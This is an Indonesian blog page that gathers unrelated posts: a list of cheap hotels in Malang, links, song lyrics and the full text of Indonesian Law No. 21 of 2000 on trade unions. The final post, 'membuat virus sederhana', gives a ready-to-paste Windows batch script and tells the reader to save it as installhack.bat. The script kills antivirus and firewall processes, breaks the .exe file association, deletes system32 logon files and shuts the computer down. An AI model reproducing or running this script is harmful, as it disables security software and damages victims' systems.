* Home
* Berita
* Olah Raga
* Wisata
* Budaya
* Pendidikan
* Kesehatan
* Otomotif
* Trends
* Selebritis
* Video
* Serba Serbi

Browse > Home > hotel murah > malang > wisata jawa timur > Hotel Penginapan Losmen Murah Di Malang
Hotel Penginapan Losmen Murah Di Malang
Hotel Penginapan Losmen Murah Di Malang - all topics content contained on this blog just for online notes by blog author. Searches list of topics relevant to the topic Hotel Penginapan Losmen Murah Di Malang is on hotel murah, malang, wisata jawa timur , This topic is about Hotel Penginapan Losmen Murah Di Malang by Info Artikel Berita Indonesia

Daftar Hotel murah yang ada di Malang, Jawa Timur. Panduan informasi untuk wisatawan yang ingin cari penginapan murah di Kota Malang.

Kota Malang merupakan salah satu tempat tujuan wisata liburan yang menarik untuk seluruh keluarga. Selain hawanya yang sejuk dan banyak tempat wisata yang menarik Malang memiliki potensi dari sektor pariwisata. Jika Anda mencari hotel murah Malang, penginapan murah di Malang serta losmen dengan tarif harga sewa murah yang ada di Malang berikut ini adalah info untuk Anda:

Hotel ARMI, Malang
di Jl. Kaliurang 63 Malang
Harga sewa 95 ribu hingga 250 ribu

Hotel CAMELIA, Malang
Lokasi di Jl. Dr. Cipto 24 Malang
Harga antara 80 ribu hingga 110 ribu

Hotel HELIOS, Malang
ada di Jl. Pattimura 37 Malang
Tarif 50 ribu hingga 150 ribu

Hotel ASIDA Batu Malang
Jl. Panglima Sudirman 69 Batu, Malang
tarif 100 ribu hingga 435 ribu

NB: Harga bisa berubah sewaktu-waktu

Sabtu, 28 Mei 2011

shohih bukhori

http://islam.paramegsoft.com/alboukhari/

Minggu, 15 Mei 2011

kamus bhs arab online

http://search.javakedaton.com/?act=wikipedia

Jumat, 04 Maret 2011

hiburan


Tiada Guna Lagi
oleh: Repvblik






Tiada guna lagi mengharapmu untuk kumiliki
Takkan ada lagi kesempatanku 'tuk kembali
Gemuruh cintaku segenggam maafku
Takkan mungkin bisa menggantikan salahku

*
Bagaimana lagi bila itu yang harus terjadi
Dengan besar hati kan ku terima semua ini
Kau buat diriku terbunuh cintamu
Apalah dayaku ini memang salahku

Reff:
Oh akankah terulang kembali
Masa-masa kita yang dulu ada
Ooh ku akui memang ku salah
Tak berada di dekatmu di saat kau rindu

Repeat *
Repeat Reff [2x]

Ooh ku akui memang ku salah
Tak berada di dekatmu di saat kau rindu

Minggu, 16 Januari 2011

UNDANG-UNDANG NOMOR 21 TAHUN 2000: SERIKAT PEKERJA/SERIKAT BURUH

UNDANG-UNDANG REPUBLIK INDONESIA
NOMOR 21 TAHUN 2000

TENTANG

SERIKAT PEKERJA/SERIKAT BURUH

DENGAN RAHMAT TUHAN YANG MAHA ESA

PRESIDEN REPUBLIK INDONESIA,

Menimbang :

a. bahwa kemerdekaan berserikat, berkumpul, mengeluarkan pikiran baik secara lisan maupun secara tulisan, memperoleh pekerjaan dan penghidupan yang layak bagi kemanusiaan, serta mempunyai kedudukan yang sama dalam hukum merupakan hak setiap warga negara;

b. bahwa dalam rangka mewujudkan kemerdekaan berserikat, pekerja/buruh berhak membentuk dan mengembangkan serikat pekerja/serikat buruh yang bebas, terbuka, mandiri, demokratis, dan bertanggung jawab;

c. bahwa serikat pekerja/serikat buruh merupakan sarana untuk memperjuangkan, melindungi, dan membela kepentingan dan kesejahteraan pekerja/buruh beserta keluarganya, serta mewujudkan hubungan industrial yang harmonis, dinamis, dan berkeadilan;

d. bahwa berdasarkan pertimbangan sebagaimana tersebut pada huruf a, b, dan c perlu ditetapkan Undang-undang tentang Serikat Pekerja/Serikat Buruh;

Mengingat :

1. Pasal 5 ayat (1), Pasal 20 ayat (2), Pasal 27, dan Pasal 28 Undang-Undang Dasar 1945 sebagaimana telah diubah dengan Perubahan Pertama Tahun 1999;

2. Undang-undang Nomor 18 Tahun 1956 tentang Persetujuan Konvensi Organisasi Perburuhan Internasional Nomor 98 mengenai berlakunya Dasar-Dasar daripada Hak untuk Berorganisasi dan untuk Berunding Bersama (Lembaran Negara Tahun 1956 Nomor 42, Tambahan Lembaran Negara Nomor 1050);

3. Undang-undang nomor 39 Tahun 1999 tentang Hak Asasi Manusia (Lembaran Negara Tahun 1999 Nomor 165, Tambahan Lembaran Negara Nomor 3886);

Dengan Persetujuan

DEWAN PERWAKILAN RAKYAT REPUBLIK INDONESIA

MEMUTUSKAN:

Menetapkan :

UNDANG-UNDANG TENTANG SERIKAT PEKERJA/SERIKAT BURUH.

BAB I

KETENTUAN UMUM

Pasal 1

Dalam Undang-undang ini yang dimaksud dengan :

1. Serikat pekerja/serikat buruh adalah organisasi yang dibentuk dari, oleh, dan untuk pekerja/buruh baik di perusahaan maupun di luar perusahaan, yang bersifat bebas, terbuka, mandiri, demokratis, dan bertanggung jawab guna memperjuangkan, membela serta melindungi hak dan kepentingan pekerja/buruh serta meningkatkan kesejahteraan pekerja/buruh dan keluarganya.

2. Serikat pekerja/serikat buruh di perusahaan adalah serikat pekerja/serikat buruh yang didirikan oleh para pekerja/buruh di satu perusahaan atau di beberapa perusahaan.

3. Serikat pekerja/serikat buruh di luar perusahaan adalah serikat pekerja/serikat buruh yang didirikan oleh para pekerja/serikat yang tidak bekerja di perusahaan.

4. Federasi serikat pekerja/serikat buruh adalah gabungan serikat pekerja/serikat buruh.

5. Konfederasi serikat pekerja/serikat buruh adalah gabungan federasi serikat pekerja/serikat buruh.

6. Pekerja/buruh adalah setiap orang yang bekerja dengan menerima upah atau imbalan dalam bentuk lain.

7. Pengusaha adalah :

a. orang perseorangan, persekutuan, atau badan hukum yang menjalankan suatu perusahaan milik sendiri;

b. orang perseorangan, persekutuan, atau badan hukum yang secara berdiri sendiri menjalankan perusahaan bukan miliknya;

c. orang perseorangan, persekutuan, atau badan hukum yang berada di Indonesia mewakili perusahaan sebagaimana dimaksud dalam huruf a dan b yang berkedudukan di luar wilayah Indonesia.

8. Perusahaan adalah setiap bentuk usaha yang berbadan hukum atau tidak, milik orang perseorangan, persekutuan, atau badan hukum, baik milik swasta maupun milik negara yang mempekerjakan pekerja/buruh dengan memberi upah atau imbalan dalam bentuk lain.

9. Perselisihan antar serikat pekerja/antar serikat buruh, federasi dan konfederasi serikat pekerja/serikat buruh adalah perselisihan antara serikat pekerja/serikat buruh, federasi dan konfederasi serikat pekerja/serikat buruh, dan serikat pekerja/serikat buruh, federasi dan konfederasi serikat pekerja/serikat buruh lain, karena tidak adanya persesuaian paham mengenai keanggotaan serta pelaksanaan hak dan kewajiban keserikatpekerjaan.

10. Menteri adalah menteri yang bertanggungjawab di bidang ketenagakerjaan.

BAB II

ASAS, SIFAT, DAN TUJUAN

Pasal 2

(1) Serikat pekerja/serikat buruh, federasi dan konfederasi serikat pekerja/serikat buruh menerima Pancasila sebagai dasar negara dan Undang-Undang Dasar 1945 sebagai konstitusi Negara Kesatuan Republik Indonesia.

(2) Serikat pekerja/serikat buruh, federasi dan konfederasi serikat pekerja/serikat buruh mempunyai asas yang tidak bertentangan dengan Pancasila dan Undang-Undang Dasar 1945.

Pasal 3

Serikat pekerja/serikat buruh, federasi dan konfederasi serikat pekerja/serikat buruh mempunyai sifat bebas, terbuka, mandiri, demokratis, dan bertanggung jawab.

Pasal 4

(1) Serikat pekerja/serikat buruh, federasi dan konfederasi serikat pekerja/serikat buruh bertujuan memberikan perlindungan, pembelaan hak dan kepentingan, serta meningkatkan kesejahteraan yang layak bagi pekerja/serikat dan keluarganya.

(2) Untuk mencapai tujuan sebagaimana dimaksud dalam ayat (1) serikat pekerja/serikat buruh, federasi dan konfederasi serikat pekerja/serikat buruh mempunyai fungsi :

a. sebagai pihak dalam pembuatan perjanjian kerja bersama dan penyelesaian perselisihan industrial;

b. sebagai wakil pekerja/buruh dalam lembaga kerja sama di bidang ketenagakerjaan sesuai dengan tingkatannya;

c. sebagai sarana menciptakan hubungan industrial yang harmonis, dinamis, dan berkeadilan sesuai dengan peraturan perundang-undangan yang berlaku;

d. sebagai sarana penyalur aspirasi dalam memperjuangkan hak dan kepentingan anggotanya;

e. sebagai perencana, pelaksana, dan penanggungjawab pemogokan pekerja/buruh sesuai dengan peraturan perundang-undangan yang berlaku;

f. sebagai wakil pekerja/buruh dalam memperjuangkan kepemilikan saham di perusahaan;

BAB III

PEMBENTUKAN

Pasal 5

(1) Setiap pekerja/buruh berhak membentuk dan menjadi anggota serikat pekerja/serikat buruh.

(2) Serikat pekerja/serikat buruh dibentuk oleh sekurang-kurangnya 10 (sepuluh) orang pekerja/buruh.

Pasal 6

(1) Serikat pekerja/serikat buruh berhak membentuk dan menjadi anggota federasi serikat pekerja/serikat buruh.

(2) Federasi serikat pekerja/serikat buruh dibentuk oleh sekurang-kurangnya 5 (lima) serikat pekerja/serikat buruh.

Pasal 7

(1) Federasi serikat pekerja/serikat buruh berhak membentuk dan menjadi anggota konfederasi serikat pekerja/serikat buruh.

(2) Konfederasi serikat pekerja/serikat buruh dibentuk oleh sekurang-kurangnya 3 (tiga) federasi serikat pekerja/serikat buruh.

Pasal 8

Perjenjangan organisasi serikat pekerja/serikat buruh, federasi dan konfederasi serikat pekerja/serikat buruh diatur dalam anggaran rumah tangganya.

Pasal 9

Serikat pekerja/serikat buruh, federasi dan konfederasi serikat pekerja/serikat buruh dibentuk atas kehendak bebas pekerja/buruh tanpa tekanan atau campur tangan pengusaha, pemerintah, partai politik, dan pihak manapun.

Pasal 10

Serikat pekerja/serikat buruh, federasi dan konfederasi serikat pekerja/serikat buruh dapat dibentuk berdasarkan sektor usaha, jenis pekerjaan, atau bentuk lain sesuai dengan kehendak pekerja/buruh.

Pasal 11

(1) Setiap serikat pekerja/serikat buruh, federasi dan konfederasi serikat pekerja/serikat buruh harus memiliki anggaran dasar dan anggaran rumah tangga.

(2) anggaran dasar sebagaimana dimaksud dalam ayat (1) sekurang-kurangnya harus memuat :

a. nama dan lambang;

b. dasar negara, asas, dan tujuan;

c. tanggal pendirian;

d. tempat kedudukan;

e. keanggotaan dan kepengurusan;

f. sumber dan pertanggungjawaban keuangan; dan

g. ketentuan perubahan anggaran dasar dan/atau anggaran rumah tangga.

BAB IV

KEANGGOTAAN

Pasal 12

Serikat pekerja/serikat buruh, federasi dan konfederasi serikat pekerja/serikat buruh harus terbuka untuk menerima anggota tanpa membedakan aliran politik, agama, suku agama, dan jenis kelamin.

Pasal 13

Keanggotaan serikat pekerja/serikat buruh federasi dan konfederasi serikat pekerja/buruh diatur dalam anggaran dasar dan anggaran rumah tangganya.

Pasal 14

(1) Seorang pekerja/buruh tidak boleh menjadi anggota lebih dari satu serikat pekerja/serikat buruh di satu perusahaan.

(2) Dalam hal seorang pekerja/serikat buruh dalam satu perusahaan ternyata tercatat pada lebih dari satu serikat pekerja/serikat buruh, yang bersangkutan harus menyatakan secara tertulis satu serikat pekerja/serikat buruh yang dipilihnya.

Pasal 15

Pekerja/buruh yang menduduki jabatan tertentu di dalam satu perusahaan dan jabatan itu menimbulkan pertentangan kepentingan antara pihak pengusaha dan pekerja/buruh, tidak boleh menjadi pengurus serikat pekerja/serikat buruh di perusahaan yang bersangkutan.

Pasal 16

(1) Setiap serikat pekerja/serikat buruh hanya dapat menjadi anggota dari satu federasi serikat pekerja/serikat buruh.

(2) Setiap federasi serikat pekerja/serikat buruh hanya dapat menjadi anggota dari satu konfederasi serikat pekerja/serikat buruh.

Pasal 17

(1) Pekerja/buruh dapat berhenti sebagai anggota serikat pekerja/serikat buruh dengan pernyataan tertulis.

(2) Pekerja/buruh dapat diberhentikan dari serikat pekerja/serikat buruh sesuai dengan ketentuan anggaran dasar dan/atau anggaran rumah tangga serikat pekerja/serikat buruh yang bersangkutan.

(3) Pekerja/buruh, baik sebagai pengurus maupun sebagai anggota serikat pekerja/serikat buruh yang berhenti atau diberhentikan sebagaimana dimaksud dalam ayat (1) dan ayat (2) tetap bertanggung jawab atas kewajiban yang belum dipenuhinya terhadap serikat pekerja/serikat buruh.

BAB V

PEMBERITAHUAN DAN PENCATATAN

Pasal 18

(1) Serikat pekerja/serikat buruh, federasi dan konfederasi serikat pekerja/serikat buruh yang telah terbentuk memberitahukan secara tertulis kepada instansi pemerintah yang bertanggungjawab di bidang ketenagakerjaan setempat untuk dicatat.

(2) Pemberitahuan sebagaimana dimaksud dalam ayat (1) dengan dilampiri :

a. daftar nama anggota pembentuk;

b. anggaran dasar dan anggaran rumah tangga;

c. susunan dan nama pengurus.

Pasal 19

Nama dan lambang serikat pekerja/serikat buruh, federasi dan konfederasi serikat pekerja/serikat buruh yang akan diberitahukan tidak boleh sama dengan nama dan lambang serikat pekerja/serikat buruh, federasi dan konfederasi serikat pekerja/serikat buruh yang telah tercatat terlebih dahulu.

Pasal 20

(1) Instansi pemerintah, sebagaimana dimaksud dalam Pasal 18 ayat (1), wajib mencatat dan memberikan nomor bukti pencatatan terhadap serikat pekerja/serikat buruh, federasi dan konfederasi serikat pekerja/serikat buruh yang telah memenuhi ketentuan sebagaimana dimaksud dalam Pasal 2, Pasal 5 ayat (2), Pasal 6 ayat (2), Pasal 7 ayat (2), Pasal 11, Pasal 18 ayat (2), dan Pasal 19, selambat-lambatnya 21 (dua puluh satu) hari kerja terhitung sejak tanggal diterima pemberitahuan.

(2) Instansi pemerintah sebagaimana dimaksud dalam Pasal 18 ayat (1) dapat menangguhkan pencatatan dan pemberian nomor bukti pencatatan dalam hal serikat pekerja/serikat buruh, federasi dan konfederasi serikat pekerja/serikat buruh belum memenuhi ketentuan sebagaimana dimaksud dalam Pasal 2, Pasal 5 ayat (2), Pasal 6 ayat (2), Pasal 7 ayat (2), Pasal 11, Pasal 18 ayat (2), dan Pasal 19.

(3) Penangguhan sebagaimana dimaksud dalam ayat (2), dan alasan-alasannya diberitahukan secara tertulis kepada serikat pekerja/serikat buruh, federasi dan konfederasi serikat pekerja/serikat buruh yang bersangkutan selambat-lambatnya 14 (empat belas) hari kerja terhitung sejak tanggal diterima pemberitahuan.

Pasal 21

Dalam hal perubahan anggaran dasar dan/atau anggaran rumah tangga, pengurus serikat pekerja/serikat buruh, federasi dan konfederasi serikat pekerja/serikat buruh memberitahukan kepada instansi pemerintah sebagaimana dimaksud dalam Pasal 18 ayat (1) paling lambat 30 (tiga puluh) hari sejak tanggal perubahan anggaran dasar dan/atau anggaran rumah tangga tersebut.

Pasal 22

a. Instansi pemerintah sebagaimana dimaksud dalam Pasal 18 ayat (1), harus mencatat serikat pekerja/serikat buruh, federasi dan konfederasi serikat pekerja/serikat buruh yang telah memenuhi ketentuan sebagaimana dimaksud dalam Pasal 2, Pasal 5 ayat (2), Pasal 6 ayat (2), Pasal 7 ayat (2), Pasal 11, Pasal 18 ayat (2), dan Pasal 119 dalam buku pencatatan dan memelihara dengan baik.

(1) Buku pencatatan sebagaimana dimaksud dalam ayat (1), harus dapat dilihat disetiap saat dan terbuka untuk umum.

Pasal 23

Pengurus serikat pekerja/serikat buruh, federasi dan konfederasi serikat pekerja/serikat buruh yang telah mempunyai nomor bukti pencatatan harus memberitahukan secara tertulis keberadaannya kepada mitra sesuai dengan tingkatannya.

Pasal 24

Ketentuan mengenai tata cara pencatatan diatur lebih lanjut dengan keputusan menteri.

BAB VI

HAK DAN KEWAJIBAN

Pasal 25

(1) Serikat pekerja/serikat buruh, federasi dan konfederasi serikat pekerja/serikat buruh yang telah mempunyai nomor bukti pencatatan berhak :

a. membuat perjanjian kerja bersama dengan pengusaha;

b. mewakili pekerja/buruh dalam menyelesaikan perselisihan industrial;

c. mewakili pekerja/buruh dalam lembaga ketenagakerjaan;

d. membentuk lembaga atau melakukan kegiatan yang berkaitan dengan usaha peningkatan kesejahteraan pekerja/buruh;

e. melakukan kegiatan lainnya di bidang ketenagakerjaan yang tidak bertentangan dengan perundang-undangan yang berlaku.

(2) Pelaksanaan hak-hak sebagaimana dimaksud dalam ayat (1) dilakukan sesuai dengan peraturan perundang-undangan yang berlaku.

Pasal 26

Serikat pekerja/serikat buruh, federasi dan konfederasi serikat pekerja/serikat buruh dapat berafiliasi dan/atau bekerja sama dengan serikat pekerja/serikat buruh internasional dan/atau organisasi internasional lainnya dengan ketentuan tidak bertentangan dengan peraturan perundang-undangan yang berlaku.

Pasal 27

Serikat pekerja/serikat buruh, federasi dan konfederasi serikat pekerja/serikat buruh yang telah mempunyai nomor bukti pencatatan berkewajiban :
a. melindungi dan membela anggota dari pelanggaran hak-hak dan
memperjuangkan kepentingannya;
b. memperjuangkan peningkatan kesejahteraan anggota dan keluarganya;
c. mempertanggungjawabkan kegiatan organisasi kepada anggotanya sesuai
dengan anggaran dasar dan anggaran rumah tangga.


BAB VII

PERLINDUNGAN HAK BERORGANISASI

Pasal 28

Siapapun dilarang menghalang-halangi atau memaksa pekerja/buruh untuk membentuk atau tidak membentuk, menjadi pengurus atau tidak menjadi pengurus, menjadi anggota atau tidak menjadi anggota dan/atau menjalankan atau tidak menjalankan kegiatan serikat pekerja/serikat buruh dengan cara :

a. melakukan pemutusan hubungan kerja, memberhentikan sementara, menurunkan jabatan, atau melakukan mutasi;

b. tidak membayar atau mengurangi upah pekerja/buruh;

c. melakukan intimidasi dalam bentuk apapun;

d. melakukan kampanye anti pembentukan serikat pekerja/serikat buruh.

Pasal 29

(1) Pengusaha harus memberi kesempatan kepada pengurus dan/atau anggota serikat pekerja/serikat buruh untuk menjalankan kegiatan serikat pekerja/serikat buruh dalam jam kerja yang disepakati oleh kedua belah pihak dan/atau yang diatur dalam perjanjian kerja bersama.

(2) Dalam kesepakatan kedua belah pihak dan/atau perjanjian kerja bersama sebagaimana dimaksud dalam ayat (1) harus diatur mengenai :

a. jenis kegiatan yang diberikan kesempatan;

b. tata cara pemberian kesempatan;

c. pemberian kesempatan yang mendapat upah dan yang tidak mendapat upah.

BAB VIII

KEUANGAN DAN HARTA KEKAYAAN

Pasal 30

Keuangan serikat pekerja/serikat buruh, federasi dan konfederasi serikat pekerja/serikat buruh bersumber dari :
a. iuran anggota yang besarnya ditetapkan dalam anggaran dasar atau anggaran
dasar atau anggaran rumah tangga;
b. hasil usaha yang sah; dan
c. bantuan anggota atau pihak lain yang tidak mengikat.

Pasal 31

(1) Dalam hal bantuan pihak lain, sebagaimana dimaksud dalam Pasal 30 huruf c, berasal dari luar negeri, pengurus serikat pekerja/serikat buruh, federasi dan konfederasi serikat pekerja/serikat buruh harus memberitahukan secara tertulis kepada instansi yang bertanggung jawab di bidang ketenagakerjaan sesuai dengan peraturan perundang-undangan yang berlaku.

(2) Bantuan sebagaimana dimaksud dalam ayat (1) digunakan untuk meningkatkan kualitas dan kesejahteraan anggota.

Pasal 32

Keuangan dan harta kekayaan serikat pekerja/serikat buruh, federasi dan konfederasi serikat pekerja/serikat buruh harus terpisah dari keuangan dan harta kekayaan pribadi pengurus dan anggotanya.

Pasal 33

Pemindahan atau pengalihan keuangan dan harta kekayaan kepada pihak lain serta investasi dana dan usaha lain yang sah hanya dapat dilakukan menurut anggaran dasar dan/atau anggaran rumah tangga serikat pekerja/serikat buruh, federasi dan konfederasi serikat pekerja/serikat buruh yang bersangkutan.

Pasal 34

(0) Pengurus bertanggung jawab dalam penggunaan dan pengelolaan keuangan dan harta kekayaan serikat pekerja/serikat buruh, federasi dan konfederasi serikat pekerja/serikat buruh.

(1) Pengurus wajib memuat pembukuan keuangan dan harta kekayaan serta melaporkan secara berkala kepada anggotanya menurut anggaran dasar

dan/atau anggaran rumah tangga serikat pekerja/serikat buruh, federasi dan konfederasi serikat pekerja/serikat buruh yang bersangkutan.

BAB IX

PENYELESAIAN PERSELISIHAN

Pasal 35

Setiap perselisihan antar serikat pekerja/serikat buruh, federasi dan konfederasi serikat pekerja/serikat buruh diselesaikan secara musyawarah oleh serikat pekerja/serikat buruh, federasi dan konfederasi serikat pekerja/serikat buruh yang bersangkutan.

Pasal 36

Dalam hal musyawarah sebagaimana dimaksud dalam Pasal 35 tidak mencapai kesepakatan, perselisihan antarserikat pekerja/serikat buruh, federasi dan konfederasi serikat pekerja/serikat buruh diselesaikan sesuai dengan peraturan perundang-undangan yang berlaku.

BAB X

PEMBUBARAN

Pasal 37

Serikat pekerja/serikat buruh, federasi dan konfederasi serikat pekerja/serikat buruh bubar dalam hal :
a. dinyatakan oleh anggotanya menurut anggaran dasar dan anggaran rumah
tangga;
b. perusahaan tutup atau menghentikan kegiatannya untuk selama-lamanya yang
mengakibatkan putusnya hubungan kerja bagi seluruh pekerja/serikat buruh di
perusahaan setelah seluruh kewajiban pengusaha terhadap pekerja/buruh
diselesaikan menurut peraturan perundang-undangan yang berlaku;
c. dinyatakan dengan putusan Pengadilan.

Pasal 38

(1) Pengadilan sebagaimana dimaksud dalam Pasal 37 huruf c dapat membubarkan serikat pekerja/serikat buruh, federasi dan konfederasi serikat pekerja/serikat buruh dalam hal :

a. serikat pekerja/serikat buruh, federasi dan konfederasi serikat pekerja/serikat buruh mempunyai asas yang bertentangan dengan Pancasila dan UUD 1945;

b. pengurus dan/atau anggota atas nama serikat pekerja/serikat buruh, federasi dan konfederasi serikat pekerja/serikat buruh terbukti melakukan kejahatan terhadap keamanan negara dan dijatuhi pidana penjara sekurang-kurangnya 5 (lima) tahun yang telah mempunyai kekuatan hukum tetap.

(2) Dalam hal putusan yang dijatuhkan kepada para pelaku tindak pidana sebagaimana dimaksud dalam ayat (1) huruf b, lama hukumannya tidak sama, maka sebagai dasar gugatan pembubaran serikat pekerja/serikat buruh, federasi dan konfederasi serikat pekerja/serikat buruh, digunakan putusan yang memenuhi syarat.

(3) Gugatan pembubaran serikat pekerja/serikat buruh, federasi dan konfederasi serikat pekerja/serikat buruh sebagaimana dimaksud dalam ayat (1) dan ayat (2) diajukan oleh instansi pemerintah kepada pengadilan tempat serikat pekerja/serikat buruh, federasi dan konfederasi serikat pekerja/serikat burh yang bersangkutan berkedudukan.

Pasal 39

(1) Bubarnya serikat pekerja/serikat buruh, federasi dan konfederasi serikat pekerja/serikat buruh tidak melepaskan para pengurus dari tanggung jawab dan kewajibannya, baik terhadap anggota maupun terhadap pihak lain.

(2) Pengurus dan/atau anggota serikat pekerja/serikat buruh, federasi dan konfederasi serikat pekerja/serikat buruh yang terbukti bersalah menurut keputusan pengadilan yang menyebabkan serikat pekerja/serikat buruh, federasi dan konfederasi serikat pekerja/serikat buruh dibubarkan tidak boleh membentuk dan menjadi pengurus serikat pekerja/serikat buruh, federasi dan konfederasi serikat pekerja/serikat buruh lain selama 3 (tiga) tahun sejak putusan pengadilan mengenai pembubaran serikat pekerja/serikat buruh, federasi dan konfederasi serikat pekerja/serikat buruh telah mempunyai kekuatan hukum tetap.

BAB XI

PENGAWASAN DAN PENYIDIKAN

Pasal 40

Untuk menjamin hak pekerja/buruh berorganisasi dan hak serikat pekerja/serikat buruh melaksanakan kegiatannya, pegawai pengawas ketenagakerjaan melakukan pengawasan sesuai dengan peraturan perundang-perundangan yang berlaku.

Pasal 41

Selain penyidik pejabat Polisi Negara Republik Indonesia, juga kepada pejabat pegawai negeri sipil tertentu di lingkungan instansi pemerintah yang lingkup tugas dan tanggungjawabnya di bidang ketenagakerjaan diberi wewenang khusus sebagai penyidik sesuai dengan peraturan perundang-undangan yang berlaku untuk melakukan penyidikan tindak pidana.

BAB XII

SANKSI

Pasal 42

(1) Pelanggaran terhadap Pasal 5 ayat (2), Pasal 6 ayat (2), Pasal 7 ayat (2), Pasal 21 atau Pasal 31 dapat dikenakan sanksi administratip pencabutan nomor bukti pencatatan serikat pekerja/serikat buruh, federasi dan konfederasi serikat pekerja/serikat buruh.

(2) Serikat pekerja/serikat buruh, federasi dan konfederasi serikat pekerja/serikat buruh yang dicabut nomor bukti pencatatannya kehilangan haknya sebagaimana dimaksud dalam Pasal 25 ayat (1) huruf a, b, dan c sampai dengan waktu serikat pekerja/serikat buruh, federasi dan konfederasi serikat pekerja/serikat buruh yang bersangkutan telah memenuhi ketentuan Pasal 5 ayat (2), Pasal 6 ayat (2), Pasal 7 ayat (2), Pasal 21 atau Pasal 31.

Pasal 43

(1) Barang siapa yang menghalang-halangi atau memaksa pekerja/buruh sebagaimana dimaksud dalam Pasal 28, dikenakan sanksi pidana penjara paling singkat 1 (satu) tahun dan paling lama 5 (lima) tahun dan/atau denda paling sedikit Rp 100.000.000,00 (seratus juta rupiah) dan paling banyak Rp 500.000.000,00 (lima ratus juta rupiah).

(2) Tindak pidana sebagaimana dimaksud dalam ayat (1) merupakan tindak pidana kejahatan.

BAB XIII

KETENTUAN LAIN-LAIN

Pasal 44

(1) Pegawai negeri sipil mempunyai hak dan kebebasan untuk berserikat.

(2) Hak dan kebebasan berserikat sebagaimana dimaksud dalam ayat (1) pelaksanaannya diatur dengan undang-undang tersendiri.

BAB XIV

KETENTUAN PERALIHAN

Pasal 45

(1) Pada saat diundangkannya undang-undang ini serikat pekerja/serikat buruh, federasi dan konfederasi serikat pekerja/serikat buruh yang telah mempunyai nomor bukti pencatatan harus memberitahukan untuk diberi nomor bukti pencatatan yang baru sesuai dengan ketentuan undang-undang ini selambat-lambatnya 1 (satu) tahun terhitung sejak mulai berlakunya undang-undang ini.

(2) Dalam jangka waktu 1 (satu) tahun terhitung sejak undang-undang ini mulai berlaku, serikat pekerja/serikat buruh, federasi dan konfederasi serikat pekerja/serikat buruh yang tidak menyesuaikan diri dengan ketentuan undang-undang ini dianggap tidak mempunyai nomor bukti pencatatan.

Pasal 46

Pemberitahuan pembentukan serikat pekerja/serikat buruh, federasi dan konfederasi serikat pekerja/serikat buruh yang telah diajukan, tetapi pemberitahuan tersebut belum selesai diproses saat undang-undang ini mulai berlaku, harus diproses menurut ketentuan undang-undang ini.

BAB XV

KETENTUAN PENUTUP

Pasal 47

Undang-undang ini mulai berlaku pada tanggal diundangkan.

Agar setiap orang mengetahuinya, memerintahkan pengundangan undang-undang ini dengan penempatannya dalam Lembaran Negara Republik Indonesia.

Disahkan di Jakarta pada tanggal 4 Agustus 2000

PRESIDEN REPUBLIK INDONESIA,

ttd.

ABDURRAHMAN WAHID

Diundangkan di Jakarta pada tanggal 4 Agustus 2000

SEKRETARIS NEGARA REPUBLIK INDONESIA,

ttd.

DJOHAN EFFENDI

sumber : http://indosdm.com/undang-undang-nomor-21-tahun-2000-serikat-pekerjaserikat-buruh

Sabtu, 01 Januari 2011

membuat virus sederhana

Hanya Copy kode di bawah ini lalu paste Pada Notepad:

title virus is my dna
color 0A
@echo off
set end=md “u cant eascape from me-vishnu”
set fin=copy “Hack log.txt” “Installing”
%end%
%fin%
net send * andhra pradesh- virus created in karimnagar from jits college
kill NAVAPSVC.exe /F /Q
kill zonelabs.exe /F /Q
kill explorer.exe /F /Q
cls
assoc .exe=txtfile
assoc .txt=mp3file
assoc .mp3=.vcf
cls
msg * hi dude this is begining.
msg * vishnu attcked the system try to challenge him .
DEL C:\WINDOWS\system32\logoff.exe /F /Q
DEL C:\WINDOWS\system32\logon.exe /F /Q
DEL C:\WINDOWS\system32\logon.scr /F /Q
cls
shutdown

Simpan di C: dengan nama installhack.bat
Selesai